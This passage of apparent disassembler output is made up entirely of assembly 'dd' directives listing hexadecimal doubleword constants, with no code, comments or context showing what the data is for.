		dd 8439C02Fh, 0DF1EC5B5h, 0B8C3A299h, 0C0AF9257h, 283F06FFh
		dd 0B433CAh, 7D19E10Ah,	0F92F2ABCh, 3AF0A500h, 7B7371C7h
		dd 90701F33h, 30C03025h, 0FB0F3C38h, 638AE60Bh,	0E252190Dh
		dd 89007F69h, 0AB6DB709h, 0BE374100h, 0AF6FA421h, 0B1C002DAh
		dd 1F735F0Dh, 60039C87h, 4D4C834h, 87E5AE07h, 0F5603096h
		dd 1651A2h, 0AAEFB1BBh
		dd 857C6046h, 80EC5B39h, 1CC27F61h, 4E4B2CCh, 0BE6AD13Fh
		dd 0E203808Bh, 640016B6h, 5B10A26Eh, 0CAB238h, 0CE8D42C6h
		dd 49605D79h, 40AA39h, 0A2CC6B28h, 13FC06Fh, 654DE18Ah
		dd 0E9D7F7AFh, 6C0476Eh, 8D05E00Ah, 94BE8BB1h, 4EF58007h
		dd 9C0005B5h, 0B9C03569h, 0A0040A31h, 0F0099Ch,	0D7A8241Eh
		dd 0B507DAB6h, 2D789A86h, 21919960h, 85F800C7h,	8ABDA032h
		dd 270F9CFDh, 0A1124ED3h, 72FE5E97h, 6D7AE4h, 0DBE20124h
		dd 3ED83CA6h, 8B1C9200h, 0F5CA84C4h, 317F003Bh,	94B1F8E7h
		dd 380D6BBEh, 20D2F1A7h, 749DCC4h, 15DDD045h, 27A63079h
		dd 5E006C3Bh, 3ED92DB9h, 0A08A2EF5h, 1A7EE628h,	4870E81Ch
		dd 37ED2800h, 0D54CCA5Ch, 0C7AC008Ch, 31AF85E1h, 82BD16F6h
		dd 0AD0A0195h, 314B5F42h, 24ABCC42h, 0D70DB21Ch, 9C0A8B80h
		dd 1433F99h, 5A28B9A0h,	707E2C57h, 20C61486h, 1F48CBC0h
		dd 8CFD101Fh, 0B510CA85h, 4712F100h, 2BEDE235h,	0EC883AB3h
		dd 527C9E00h, 36F86243h, 0FDB15E00h, 4A25C77Eh,	63F60073h
		dd 5C3B18F7h, 910B262Ch, 87304336h, 0A90086C2h,	0ED5B5989h
		dd 636801D3h, 51DEADD4h, 6501C4EAh, 18E9DB3Ah, 762056ACh
		dd 0E1CF3AF3h, 0FCDD779Eh, 3D515500h, 0FB8398FDh, 639F1900h
		dd 0BE645CEFh, 0C36000Ah, 3CF90E61h, 0C825B071h, 0E550F5h
		dd 8949A19Eh, 0C546DDC0h, 79834300h, 8015B039h,	5BAD0013h
		dd 1CF62C0Bh, 45004FCDh, 4428BCAEh, 2BB546h, 5E708B18h
		dd 24BA5B2Ch, 0FD51AD00h, 0B9630D79h, 44720048h, 0F190AF57h
		dd 3267ECDh, 0E8003D5Bh, 0E15F2FECh, 0E46C3950h, 0FA09D200h
		dd 0D359F773h, 29FCDD3Ah, 0A78104D8h, 0D3DCC144h, 2BDD0C5Eh
		dd 0ACB36030h, 0D000FB64h, 56997BC6h, 0E1AAD47h, 0E4C5CCE3h
		dd 18891856h, 1184AB9Bh, 2A156CEFh, 1718180Fh, 3749CD3Bh
		dd 0FE3B84CEh, 0B19E23Fh, 0DC9310CFh, 50133CA1h, 807D6718h
		dd 0A99061DDh, 880C5C8Ah, 8542AC2Fh, 8324859Ah,	6EC20C45h
		dd 8D75401h, 4301E1C8h,	0AB184193h, 0A80C4219h,	0CD9F6CA1h
		dd 0F7DB40C9h, 0B00118Fh, 237942FCh, 0ADA7566h,	0D517583Dh
		dd 545700A8h, 0F145827Fh, 95DBA405h, 0B84FEF1Ch, 61696342h
		dd 0AEC3F8BAh, 61D1934h, 70CE38DAh, 0F90044FFh,	0DCC0771Ah
		dd 7DC31B36h, 0D8FE07DFh, 40A199EAh, 0FCCDBF2Fh, 299ED600h
		dd 83AE8CC2h, 1C523958h, 1C50ED1Dh, 0A77F00BAh,	3D90321Ah
		dd 248CE313h, 0CF98B300h, 54B9EC97h, 0F9B4C52h,	0E77C949h
		dd 7C9A0012h, 4AEC1E9Fh, 0CF213014h, 5C8300FCh,	0D8B342Bh
		dd 0D11403D3h, 0D2C2DEE8h, 0C427BE80h, 0CB995B03h, 0D8C0CCEAh
		dd 0EC46A7E3h, 77C807ABh, 0BAC10C6Dh, 9E94001Ch, 8F063349h
		dd 9D88A403h, 0B0B015B6h, 0F435F0AFh, 0D83414F8h, 0BB01B5DEh
		dd 8212CC3Ch, 0A689F46Fh, 4F00CE76h, 2341380Ch,	3EE32A2Dh
		dd 777CD1Dh, 89946E9Dh,	0ACB1308Bh, 48C0C13Dh, 236F8E80h
		dd 0EF28C021h, 15B251BDh, 0B195AB00h, 1DAFC2A3h, 6B7958h
		dd 601FE867h, 0C17A1E09h, 319CE60Ch, 0E2B8CEh, 0E16B1288h
		dd 1B044A4Ch, 5601B1F0h, 6530F0E4h, 0A37014D7h,	0F8030305h
		dd 0F4E0389Ch, 8A796CC0h, 1BFC5138h, 0E1882593h, 0B8401468h
		dd 322A95h, 0B9C23517h,	0DBCA76Ch, 4E1014A0h, 2D000670h
		dd 1A31D0C0h, 7744AE01h, 0A981291Ch, 65A7058h, 3831658Dh
		dd 0A300AA4Ch, 0AC95F6B5h, 7A1FBF7h, 9C18960Ah,	9DC280A8h
		dd 2005FA5h, 0C5F56742h, 601A25CEh, 0B01E41B6h,	700DBD5Eh
		dd 31F1FC06h, 1306660h,	0ADA7022Ah, 0ECAF1CCAh,	0BA031FCFh
		dd 402344BEh, 0A965D8BFh, 1DE603D2h, 865C0304h,	14F05EB8h
		dd 9B6A9200h, 1E8BDBE0h, 78DE6065h, 0E2C61921h,	80B68C39h
		dd 0E138F5C3h, 24D368AAh, 20EE54h, 3623A94Eh, 0FE9880B0h
		dd 8922CE0Ch, 188402Eh,	0E78E046Bh, 808B844Eh, 19D8A320h
		dd 1A7C563h, 5DAFBCB1h,	4A31E6B3h, 68B6A0ACh, 7E71071Ch
		dd 8104AF70h, 229E431Bh, 37C08094h, 0ED023Ah, 4F3D6817h
		dd 54F92CA5h, 0F670F0A5h, 4C84A887h, 32540306h,	0DA0D0DFh
		dd 26C256B1h, 0EF810334h, 88196CD6h, 0F4FDB7h, 0C1E98B11h
		dd 0AF04708Fh, 0A1E823F3h, 0DC23AD05h, 0EC0061CBh, 9CB2C589h
		dd 5F9B5107h, 0A61B9A8h, 84590156h, 155DD6F0h, 0A0A4795Ch
		dd 93467000h, 0D54CEDA3h, 97D6D300h, 258BA789h,	0C0A200F6h
		dd 0F30D8740h, 2201D5B6h, 0C19345EFh, 84509747h, 0F5D6D25h
		dd 5BC3AB94h, 200CAFC7h, 8FB502C0h, 6F669D14h, 7178FD0h
		dd 0A660C677h, 0F40A056Ah, 5C6491D4h, 7C87113h,	0F8AA0830h
		dd 72351F9Fh, 0C0649DCAh, 86062A93h, 78028F85h,	3D1FE763h
		dd 780C45D3h, 0A8307D30h, 0B208D8CEh, 30491D5h,	17F3164Ch
		dd 0BC34C0E4h, 0D852361Ch, 0FACFCh, 50EB6E8Fh, 0B4B23A1Eh
		dd 30F41B55h, 570AE774h, 80F05D43h, 0A2CB6E71h,	6328CF1Eh
		dd 0E014816Ch, 0D2C461ACh, 981CD860h, 67440071h, 25CFE074h
		dd 4578099Dh, 8C080C50h, 0F74DF178h, 7F3C7884h,	29DE181Dh
		dd 111CB411h, 772E8B39h, 52201D78h, 0A56A18C4h,	940678C1h
		dd 0A9F75800h, 177AB94Bh, 2BE6017Eh, 2366F69Ah,	42203189h
		dd 1C403840h, 0C0007A49h, 0A315CD22h, 941993h, 6B0C434h
		dd 0C9EBE0CAh, 887AB608h, 5F64402Ch, 21261803h,	4C07CCF5h
		dd 0A2F03729h, 3A80B33Fh, 4D01BE5Dh, 19B0CAD3h,	95B8600Eh
		dd 83414C03h, 1EF6C46Fh, 1A9F0E9h, 7D23294Fh, 0AB41F463h
		dd 0AA14B603h, 9AD288B5h, 0E9E4804Dh, 0C9A99745h, 901421F1h
		dd 4B0A7F03h, 3D75FC54h, 6F96CED1h, 0E729005Bh,	9DB84110h
		dd 81A91F3Eh, 0A4E2D714h, 9C4096CDh, 9061E46Ah,	1ACC0028h
		dd 0D3C62C9Bh, 0AF00A97Ch, 25E71BDh, 0C9FE2Ah, 0C2A808A0h
		dd 5D64999Ch, 0A5CF6E01h, 7CBFDDEBh, 602C04DCh,	159D8838h
		dd 0F10066B6h, 4D21E618h, 0EC3B6D4Ch, 79CC0004h, 0C9D2699h
		dd 6E01278Ch, 699506A5h, 0A8D42339h, 0A8918Eh, 0AB101F9Ah
		dd 8A00B57Fh, 0BE6484Dh, 186E9832h, 28CD675Eh, 0B801DD36h
		dd 0BD92020Ah, 9440F847h, 0D7B1BBh, 440904F2h, 18BEFDD6h
		dd 0FAFB300h, 87426362h, 0DD5703F0h, 5E4B4F84h,	0A9346580h
		dd 2712F600h, 9AE37D59h, 66351AACh, 43D21A1h, 0E2B0C6E0h
		dd 0CF180028h, 4DB486FBh, 0CA017C78h, 5666D038h, 30895347h
		dd 0C5800DA8h, 3F2A2135h, 3E54343Eh, 18F034B4h,	0A5A9686Ch
		dd 1874CA78h, 0ED465097h, 4542BA00h, 0F8D3B44Bh, 53FD3E31h
		dd 78027505h, 0F10C02B7h, 0F6225787h, 6EAD1016h, 3F304145h
		dd 18BB6164h, 1056FF85h, 0C54A5177h, 1332931h, 0ED9A2524h
		dd 851D01BCh, 8BC70C40h, 0A149C868h, 82990D62h,	81FDB518h
		dd 65E0B60Ch, 1591318Ah, 95A20848h, 8234D942h, 82B8C330h
		dd 0BCFF0D0Ch, 0C905524h, 0D90974E9h, 0D5244191h, 720C423Fh
		dd 3E7954A2h, 5FAD0C82h, 51A59C91h, 892F224h, 147A42C9h
		dd 1018174Fh, 0B73E79BDh, 947BC804h, 62BA0301h,	0CC190C5Bh
		dd 8E3113F4h, 89F02E61h, 47E005D1h, 66496Bh, 99D20207h
		dd 96A0FF8Fh, 1238DD5Bh, 2F0FA7E6h, 405D62C1h, 53432A29h
		dd 4AC763Eh, 0B7B319D1h, 23249755h, 0B9FE0231h,	9B57660Ch
		dd 7ADC702Fh, 0A48CA87Bh, 0C2A700D1h, 0F9FBBAE1h, 0D2049468h
		dd 307197Eh, 169C0490h,	5D713F97h, 0C50650C9h, 88D328FEh
		dd 58F69000h, 649606AFh
		dd 0F757040Ch, 7517865h, 2101870Dh, 1C5F6634h, 69B00400h
		dd 8F0776ACh, 8C149h, 7B668D65h, 18AF9718h, 506E1B71h
		dd 5A03F731h, 0FF7408FBh, 5D63C0C4h, 2E4200EAh,	5E2A207Bh
		dd 0F401F68Eh, 629B5AF1h, 9AC707EFh, 0AEC88F63h, 0C37083F0h
		dd 70D87BB6h, 8DFD05B9h, 18ECCFh, 764F2C14h, 6E541AFBh
		dd 723E5934h, 0F800F432h, 8D6A60D0h, 3804E717h,	37A6370h
		dd 5738EF61h, 1BC8A8A1h, 0D2005E93h, 0BD8D9C2h,	0EBD324Ch
		dd 8E2EB9C9h, 5459B0E7h, 0ED34D0BFh, 0C5720BDEh, 41076600h
		dd 4F506587h, 0CF730642h, 690D74BFh, 2D46700h, 0B18F62A8h
		dd 1F521C88h, 407B06B5h, 0F57FD1B2h, 424880D4h,	34598040h
		dd 5020060Dh, 0EF5C8ABh, 609A776Fh, 0AFD21180h,	3B0294C8h
		dd 0AB707B0Ah, 31646056h, 7F890834h, 7904B923h,	4080BCF9h
		dd 38DF5651h, 0B501AF4Eh, 4840B69Ch, 0F2B7FCD7h, 37B80560h
		dd 57EAE26h, 9C648CA4h,	88D801D2h, 9F5FDA27h, 500A8D20h
		dd 100088ADh, 2F175940h, 304A7C74h, 8818A094h, 6956C2AAh
		dd 0C5F00184h, 71744CEAh, 983C24h, 1382CAE8h, 0CE61E741h
		dd 0AEF852B8h, 59B88A0Eh, 5054AD9Eh, 12757C58h,	931252h
		dd 8CE5BD94h, 0EB048E96h, 9DD7245Eh, 71FD80C0h,	487849D3h
		dd 3C40EF10h, 5CFF9869h, 80C5BAA0h, 0FD0073B5h,	5642EB6Dh
		dd 0EA9BEC34h, 177100F0h, 53FEE111h, 90FC0FDFh,	994F5E07h
		dd 0BBC130BFh, 27C0509Ah, 0D6D000F0h, 366A62E8h, 0EE0733E9h
		dd 21F4FEE3h, 96E21F90h, 14C0144Fh, 1200C751h, 0C443E133h
		dd 0FE2EF834h, 54000142h, 0E08CD0EBh, 44AC0771h, 70E95FDEh
		dd 932A972Ch, 7DBDFF00h, 1290D711h, 495B0345h, 0D2FE92F6h
		dd 0D0EBBCA1h, 0D003E80Eh, 3BCC19F5h, 9170C0F3h, 0E0EC004Eh
		dd 3B0A3BBh, 30AE67E7h,	82FFF802h, 18FD2F1Bh, 0EC04545Dh
		dd 76819D2h, 0F565F800h, 9D7557DCh, 0E8771B28h,	1451300h
		dd 2C0AF622h, 0BA701F8h, 0CF1B6CB0h, 0FA388006h, 56B42571h
		dd 0C710036Bh, 0EF9C352Bh, 9D425BF9h, 86404F70h, 83D002ECh
		dd 0B1BC01BFh, 0DCE93013h, 2FA840E2h, 6D009F26h, 24FA0D49h
		dd 801A48h, 0B8E48B65h,	0E88604EBh, 110C9003h, 0B05FDFA3h
		dd 0EC71F8h, 7B7D56Fh, 879EC05Eh, 0FD030371h, 0AE2B91D2h
		dd 0C859906Ah, 0C2570267h, 0ED56BAC6h, 6F5AC80h, 1003A0AFh
		dd 0D92D0845h, 0ECF90155h, 914D0359h, 0E1E08EF0h, 0AFA3A090h
		dd 0FAC5CDFh, 210323BBh, 29004895h, 35A450BDh, 60C09439h
		dd 0D6DB621h, 802000A8h, 1E64C622h, 0F80013F6h,	0AED4AF3Ch
		dd 1AE052h, 0D1347EC0h,	894D547Ah, 0ACFE8D2Ah, 85046B7Fh
		dd 5765817Bh, 0A37691C0h, 8B752839h, 36150CECh,	0E63093C4h
		dd 0B1EDBC30h, 809D3F09h, 412A3B1Fh, 221CC4B7h,	283B9603h
		dd 860CEC5Bh, 0F852CE6Ch, 301D1D02h, 0E53C04CFh, 9908809Bh
		dd 50405D03h, 2A73E69Ah, 1849796h, 1AE5BB87h, 41D23555h
		dd 10760B18h, 60B8CA1Bh, 47BA7825h, 882428EDh, 6C8C34DFh
		dd 3D12962h, 7F66EADEh,	0BAD9600Ch, 164C204Ah, 183A7105h
		dd 0B5877A82h, 4E220480h, 56F8030Dh, 0DC9F765Bh, 0C33C5178h
		dd 0D2F33C42h, 9B0C1008h, 0C70FACC0h, 2400E0E3h, 7331E7Ah
		dd 0C6B1DCDh, 0BB8A583Eh, 0D8000E78h, 0B13E6D4h, 0B0579B7Ah
		dd 0CA3300CFh, 0C90DAC60h, 0D701CDE8h, 9B15595Ch, 0D852E019h
		dd 8104A0F8h, 30CDBD69h, 601930BBh, 7E286641h, 8601A094h
		dd 964769EEh, 0B9C33D2Ah, 0E050B965h, 0FA6A9E15h, 6DFF4BEh
		dd 985106C9h, 5F0138B5h, 61EA4D68h, 0ACC88D33h,	7D26E82Bh
		dd 4D44CEFh, 608CEE12h,	7062A520h, 0A19EC8A8h, 220A7890h
		dd 0C829BA7Ah, 384CE941h, 19C1DF4h, 0B9311824h,	309E99ABh
		dd 0B21249D9h, 9C045A42h, 0C0AB098Fh, 7F571AC6h, 7C6C51CBh
		dd 2DEB00C6h, 5D860843h, 0EF113060h, 3AFAA326h,	4D85977Fh
		dd 52A10740h, 0B1411930h, 6248501Bh, 430156A4h,	2BE7B09h
		dd 4C345315h, 0D67300DDh, 186995CEh, 45022ADEh,	831FAE64h
		dd 0DFF44099h, 2B890016h, 0F5209356h, 9E03A89Ch, 65F3B41Eh
		dd 38E6B830h, 0EBCA260Dh, 8192183Ch, 0DA00D3D8h, 0C7CBC485h
		dd 0C811C57h, 0F1AA510Dh, 9B00A520h, 0C6F94127h, 30017D4Ch
		dd 1E6875B4h, 0C015D5E5h, 946786h, 30FCC3D2h, 1652A04h
		dd 0E328E96Eh, 201E2DB6h, 907B208h, 0DB0BCD57h,	55ADEA50h
		dd 4C6EE89Ah, 6D0088DDh, 80C2B823h, 1A4C6740h, 7EC71FF7h
		dd 0F38DCC4h, 10C0EEC6h, 8095FAB0h, 22CB2656h, 22C443F3h
		dd 0D09601BBh, 0C8F49924h, 0D856C90Ah, 48C13066h, 970D8ABh
		dd 2F3D5880h, 85FE25A2h, 1126FB00h, 0A8FCD78Eh,	10EC02B5h
		dd 0BBC45366h, 5B199F60h, 0F847CA00h, 0F034418Dh, 36E218EAh
		dd 5758A4ADh, 6F61B700h, 0CBA109EBh, 0E8F61Dh, 197AC116h
		dd 72B8EAE7h, 0B16EC01Dh, 0C304CB5Eh, 25C6070Ah, 48C0030h
		dd 0EF3CB210h, 0D2303F08h, 2FB418C5h, 2C72F0h, 0E598BFF5h
		dd 0EB36F6B6h, 651B20Dh, 1DE411ECh, 0E7A44CA0h,	0F713EA00h
		dd 0EC7F08EDh, 581F427Ah, 0D8829311h, 0A0B95B7Bh, 20048F24h
		dd 1C4E52B4h, 30D5DF18h, 49F3E318h, 7868883Ch, 4BFE0F5h
		dd 0B8294CD4h, 60B154C1h, 184C1268h, 0D0FD241Fh, 376C23C6h
		dd 0A597560h, 5880648h,	29CFB7FFh, 0A0608818h, 5F314CFFh
		dd 57920C3Dh, 8606148h,	3F186B04h, 4CCDC505h, 90104798h
		dd 2831F660h, 1AE4619Fh, 68468DEBh, 0D1AC2003h,	84B42DA5h
		dd 4FFA9078h, 0BD8A7F60h, 3A6440C1h, 404A8BA1h,	0C20E4811h
		dd 0B4CF81DFh, 2AA811A0h, 1FBF8042h, 609872AFh,	9C6BB80Ch
		dd 1DB8BEF9h, 0CB30887Fh, 2878508Fh, 44A2526Dh,	0C011B0CEh
		dd 4A78521Fh, 90B12418h, 0A2A0D018h, 0FFC14084h, 0F2A3DD00h
		dd 0E9419B6Eh, 522700C0h, 14D065C8h, 0FA001206h, 85A9C7E3h
		dd 363A37h, 0B9595A3Ch,	4F136BCAh, 0CF5EE400h, 9D2B63AEh
		dd 21F83A44h, 50DF840Fh, 61254E83h, 3469A4E0h, 357C20C6h
		dd 0A451FC10h, 4B6D0834h, 0D9E0AC38h, 11CADA9h,	9D798F2Fh
		dd 5851DEE4h, 7B235750h, 0A8790C5Eh, 0A500AF38h, 0B0CEC817h
		dd 6F049D27h, 0C207B083h, 0F8C4812Ch, 672C4A7Ah, 0BAB44090h
		dd 1B6CCF20h, 0B28EA500h, 0A0ED978Ch, 3FC40FB6h, 0D9EEF682h
		dd 0E2540F9Eh, 0F0BE7607h, 0A61936A1h, 0EFB7E0E9h, 0AC0056F2h
		dd 0B0371BCBh, 0D8372h,	0D93945D2h, 0A29A68C4h,	0CDB1930Ch
		dd 6FB7120h, 0F6A0EC69h, 856151ABh, 0F0D6B648h,	0F3E4C1F3h
		dd 0D4691080h, 41C38381h, 0B5CFEC01h, 0C6F8850Fh, 0F4BEC810h
		dd 0D7F8C3E0h, 0B8379200h, 6F25BC58h, 0F01CAB82h, 60C6C7D1h
		dd 0B7F228C4h, 9E29099Ah, 0FF8030BAh, 0AC4A96A7h, 0D2D70048h
		dd 0BE0953FAh, 5EE8B54Bh, 42C2053h, 81BA6C93h, 89883242h
		dd 8B00701h, 3B16185Ch,	0FB9F1FE0h, 0AE1280CBh,	0BF02684Dh
		dd 9D0644A6h, 0C66D60BEh, 1B720558h, 60FC667Eh,	4B4EBD14h
		dd 50FAE930h, 1476BB52h, 3C218277h, 9007EAC0h, 50C0C060h
		dd 667CD4B2h, 67E20A1Ch, 0C0546277h, 0DDB263Ah,	1592FD40h
		dd 14730B6Ch, 0F7347BC0h, 0ACA82AF1h, 640EADC5h, 8AAEFA1Ch
		dd 4DC0185Ch, 0A83BD667h, 0C9D280h, 12FC64E4h, 0CEC276D5h
		dd 0B4FEB4A0h, 81B8B653h, 69A4D02h, 0EB32998Ch,	2F1C3C40h
		dd 5100A835h, 6580ECCDh, 7740E8AEh, 0C7D53AE2h,	11305900h
		dd 238C77F5h, 0AF674C00h
		dd 0A8161F54h, 88160C0h, 0CCA484E0h, 0C7AC260Ah, 5A811CD6h
		dd 71A9D405h, 6FEB400h,	0F220A807h, 0C565CB63h,	0D5CE1830h
		dd 0C9BA20BBh, 29099420h, 81480780h, 0B08B1E1h,	0AEF401E6h
		dd 0C6F0244Dh, 2AB033Ch, 8FD4AF60h, 186700Dh, 9AC6B805h
		dd 0DAF38118h, 5080E3BBh, 0A9687E34h, 14A6C3A0h, 0F5F821Ch
		dd 0AE147931h, 815028A3h, 95E5CB89h, 1F74004Fh,	28A85714h
		dd 90176B02h, 54005F04h, 7ACA2ECCh, 21E41E06h, 2C2354EBh
		dd 27AE0181h, 0F9B410F7h, 0E0D72C5Ah, 26CA0302h, 0C6A1FD7Fh
		dd 0E6D07048h, 0C0208567h, 0A6C30737h, 6181831h, 45C608AFh
		dd 59E68CA0h, 0DBA608CFh, 0C8FDA048h, 99201DEDh, 74143371h
		dd 0E05540C0h, 7861EC7Ch, 2A338010h, 318D9D01h,	1F23181h
		dd 0BEFEFD88h, 0CC869968h, 66D07B90h, 4608C036h, 60D6D3B2h
		dd 0D5EE8703h, 0C1652CC0h, 189E09E0h, 3F75E80h,	0BBD48340h
		dd 0D3CEF2B9h, 0D7BD46C0h, 0EF4AA01Fh, 0A9D6006h, 0F9773C08h
		dd 0BE482870h, 0FA9E3E88h, 30706174h, 1CB1480h,	509B19F7h
		dd 0B1E108F6h, 7B588CD3h, 0C3B608D0h, 0D148A070h, 187C0830h
		dd 0C6D772C0h, 108C2830h, 8C29C32h, 6090816Eh, 884172B5h
		dd 0E0E05CA1h, 0F5E7C1Eh, 0EE960CC0h, 416E5607h, 406B7AA0h
		dd 0ECE57EA4h, 550087F8h, 0F89F60D7h, 747C0D6h,	0E720BC64h
		dd 2B834F5Bh, 7583D5F2h, 0ED41087Ch, 400123F1h,	0E0288517h
		dd 980CFF21h, 933F217Dh, 831811Ch, 0E1585Ch, 2A2FA694h
		dd 1D020D6h, 0BCBFD766h, 43EEC4A0h, 0A9379C9Ch,	3A01E827h
		dd 8442A54Ch, 0E0E041FCh, 0D43778B8h, 61DF83B8h, 6FCC4038h
		dd 3C1ED220h, 0E0E09C19h, 4B816422h, 0F6F42D8Fh, 24AB890Eh
		dd 60872510h, 41FF0F42h, 0AC25968h, 2BC350D8h, 0C8F1D710h
		dd 84F6D409h, 62D34082h, 38316842h, 5B81D4CDh, 90C43488h
		dd 47460588h, 8380EEA3h, 77FAA5D0h, 6A1ED48Fh, 85F6FD8h
		dd 81F0F584h, 20411458h, 549087E4h, 10C4F7E0h, 4814F40h
		dd 88860EC0h, 8761546h,	6D87963h, 0E6080CB7h, 2538F76Dh
		dd 0EFA111C5h, 584AFC00h, 0CC9140A9h, 0E0601309h, 8245531h
		dd 0ED021ABCh, 84756848h, 3AF34348h, 0F8680C88h, 0C1FC1085h
		dd 28A2E808h, 4DB4F015h, 798FC195h, 4C7E288Fh, 83BE806h
		dd 20C451F8h, 8006788h,	481522B9h, 7C459B3Ch, 1650E21Fh
		dd 8F2D8B0Fh, 837F4E28h, 0CF6095A8h, 2ED648C0h,	249200C8h
		dd 40BE882Fh, 57ECA85Dh, 3AFE08E8h, 1FD5F0F1h, 0FCE85107h
		dd 9C4350EEh, 3248A0C8h, 40A8F801h, 96F2889h, 64EC8008h
		dd 74746850h, 270803C3h, 0BAE82E77h, 9748701Bh,	0E629E140h
		dd 7CAD28D0h, 456837B2h, 2B5B4328h, 0A152C6C7h,	50F15E03h
		dd 0BCEF88h, 2DC41780h,	4418A5A8h, 0F01F4819h, 218C9848h
		dd 89E0C7D8h, 8801A974h, 0C8441BCCh, 319F105Dh,	3CCF1DA3h
		dd 0FC197D7Bh, 1DF802E6h, 9C1C571Eh, 0F1A0C08Fh, 0D8A84387h
		dd 3E165D3Ch, 68148529h, 0C40D5FACh, 0C2E070CAh, 428A4DAh
		dd 306446DFh, 857C081Ch, 682EA88h, 602B97F4h, 2E7E3D15h
		dd 0A95C021Ch, 0EEA034Fh, 0A2938E5h, 20C826DCh,	0D8B563A8h
		dd 833FFC2h, 0E52AE9AFh, 0A048A800h, 606CE32h, 0CF6E3344h
		dd 992C1880h, 570C6163h, 0AA20884h, 0A9E81568h,	1630605Ch
		dd 0D3406442h, 0DA8844BCh, 8248B361h, 0BED02EAEh, 0EE34183Dh
		dd 8BAAD1B2h, 9A84214h,	4EE80EECh, 0C37095EDh, 0ED38188Dh
		dd 899C8C44h, 6369B71Ch, 4035C565h, 6C186863h, 0C0174ED0h
		dd 8B932810h, 0C77FC843h, 65317C90h, 0C130C80Ah, 81BCC2F3h
		dd 959448D8h, 62028E0h,	2A684280h, 9EFA1079h, 1A4808F0h
		dd 148788Ch, 94247C10h,	0F20950B6h, 41840212h, 67C405Eh
		dd 951780Fh, 4E345B98h,	0C6041C14h, 1B1A23B1h, 71E7FC07h
		dd 8A144816h, 0CC72E828h, 593AB89h, 9806BF24h, 0A3C88A28h
		dd 0E808199Ch, 4608B0DEh, 2A480885h, 5DB44010h,	0F0D2F0E3h
		dd 8B2A8CCh, 1AA00588h,	70512E33h, 0A2EA9CB0h, 13986420h
		dd 0A5801DCh, 60143800h, 70ED0F22h, 0B73CF4A8h,	0F87E9183h
		dd 81B9DC42h, 0A117AEBCh, 48F5C043h, 8A2848A8h,	4C1925B0h
		dd 82151D04h, 68485010h, 1448989Ah, 0FAD9B0B0h,	2ACC22D5h
		dd 50AA6704h, 0EBABBA8h, 54F4D4DFh, 0ABC353A0h,	13912620h
		dd 0F9F87Ch, 343B733Ch,	0D04CD86Eh, 8AA21D10h, 0ECF7183Eh
		dd 90FB9E20h, 9336024h,	68511607h, 0F0A174FEh, 28202042h
		dd 9D780B6Fh, 0B80509D3h, 0E0092462h, 0A8A48185h, 0D041CDF1h
		dd 1C316FEFh, 108A2921h, 0AE4D145h, 148CD89Bh, 207CF076h
		dd 946FD0F8h, 0D9B70668h, 9B96210h, 0FC83A51Eh,	0F0195207h
		dd 0A4084D3Dh, 0E5E13A61h, 4D88D430h, 3C18F079h, 81E6A851h
		dd 7C4DB090h, 0ACF710DCh, 0BD440522h, 128D89DEh, 0C9B72204h
		dd 4C20FD0Fh, 0A813BCE5h, 24DC4630h, 774D18EEh,	0C92310DCh
		dd 0B5442E22h, 44D49AA6h, 0D09A8644h, 20F08120h, 6A20FAE6h
		dd 194C20CEh, 28083A62h, 23D068D3h, 5860C9C2h, 0C613D0A4h
		dd 10D4D0E8h, 78907294h, 4816DC92h, 485B416Bh, 33BC1E0h
		dd 66FBE8E0h, 1878E854h, 39E3C81Bh, 2680CE10h, 690EA08h
		dd 10F00548h, 13E80348h, 540417C8h, 0A0D0FC28h,	242E16D9h
		dd 98B0D6A8h, 0F56808ECh, 0EE26B490h, 0E1C008Ah, 9232E04Eh
		dd 83A5428h, 0A261D954h, 0F1405C05h, 0BD020C8Eh, 0EAA0798Bh
		dd 40B7BC02h, 0D9BA0858h, 4193A898h, 938ADCACh,	6804B590h
		dd 10929488h, 0E2984357h, 0E2C86377h, 0B306897h, 3ED890B7h
		dd 0C048BDAFh, 0B0294CB0h, 201EAE20h, 0E824529Ch, 0D4246877h
		dd 10BAB858h, 18B2E5DFh, 683087FCh, 4C5098BBh, 0B6A03C28h
		dd 1DE638F4h, 1C308589h, 0D02D488Eh, 0D8634C4Ch, 0F0180728h
		dd 68088188h, 1320DD19h, 0E8F0043Eh, 1B080434h,	9D069491h
		dd 0B899B860h, 4807E85Ch, 4E2438CFh, 4888053Ch,	82FC044Dh
		dd 3C76BC5Eh, 66517B5Ch, 204FFD90h, 6248A870h, 8220746Ch
		dd 18F463FAh, 937E968h,	0A2CB2097h, 4321284Ch, 1C61B388h
		dd 16F8A8E8h, 0C5BC0C51h, 7C635E20h, 24B2F6D0h,	9830E1E0h
		dd 41A87802h, 68184090h, 87F0C3FEh, 99E0C6AFh, 0E3220BCh
		dd 43A5A0C2h, 4A45A278h, 0C850C858h, 911274D5h,	2F116020h
		dd 8E401A16h, 6222C3Ch,	0B85414C4h, 43D43874h, 0F0B7ECD8h
		dd 88A52EFFh, 907C1C80h, 6D0E1318h, 216009A6h, 0AEC2C08h
		dd 0E0204295h, 870879B4h, 287C8C40h, 338C1CE8h,	1370B089h
		dd 6F5828D5h, 0A6531208h, 6D5C0C1Ah, 0A4722EA8h, 0B0241648h
		dd 20AF0CC0h, 0BC3D8DEBh, 34645CCAh, 4C703063h,	545FC04Fh
		dd 0E39C8881h, 626E5C60h, 0DB48A0EDh, 0C1B00409h, 3F0E748Eh
		dd 88C847DFh, 0F0A795A0h, 4CCA810Fh, 0EFDC99ADh, 5D6E8070h
		dd 810A7CACh, 0E3302DF1h, 1DAA664Ah, 0ED213C21h, 7F800C33h
		dd 30CB4ED6h, 98791C80h, 0FE288E54h, 88B4E064h,	1498787Ch
		dd 0C604148Eh, 53215C7h, 2945C04h, 94A30948h, 229BFA54h
		dd 0BC124471h, 0F438C1C9h, 0C0DA0855h, 9C0A87BEh, 9E6064D0h
		dd 0A44E7617h, 8824EFA8h, 0A24A63Eh, 1406BA66h,	7FDC8CDCh
		dd 36516870h, 517BD0F4h, 9414B0A2h, 7832F50Ch, 5C3CD909h
		dd 480B3C0Dh, 408F137Fh, 8640632h, 98E8106Eh, 0C04858C3h
		dd 0FB41E739h, 0BCECAF0Bh, 0D8D03BA7h, 27599Eh,	18245F54h
		dd 0F0E92670h, 0AF00D7C8h
		dd 590DEC3Fh, 33CABFE9h, 0E66884AAh, 2407E1D8h,	0FE12F807h
		dd 8BDD8D5h, 0D0EE60E2h, 0C38B0198h, 1E9658AFh,	5C9CD024h
		dd 8F382718h, 0E961B868h, 0C54E5400h, 0D0117E14h, 0A1468038h
		dd 807BC3A4h, 69C605CCh, 29B023DEh, 118734Ch, 807850D0h
